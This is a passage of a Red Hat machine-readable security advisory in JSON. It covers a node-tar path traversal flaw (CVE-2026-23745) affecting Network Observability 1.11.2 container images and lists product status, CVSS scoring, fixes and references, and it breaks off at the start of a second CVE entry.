"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-01-16T23:01:26.508727+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2430538"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the node-tar library. This vulnerability allows an attacker to craft malicious archives that, when extracted, can bypass intended security restrictions. This leads to arbitrary file overwrite and symlink poisoning, potentially allowing unauthorized modification of files on the system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the node-tar library. The flaw allows an attacker to perform arbitrary file overwrite and symlink poisoning by crafting malicious tar archives. This occurs due to insufficient path sanitization of hardlink and symbolic link entries, even when the default secure behavior (preservePaths is false) is enabled.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-23745"
},
{
"category": "external",
"summary": "RHBZ#2430538",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-23745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23745"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e",
"url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97"
}
],
"release_date": "2026-01-16T22:00:08.769000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file overwrite and symlink poisoning via unsanitized linkpaths in archives"
},
{
"cve": "CVE-2026-24049",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-01-22T05:00:54.709179+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2431959"
}
],
"notes": [
{
"category": "description",
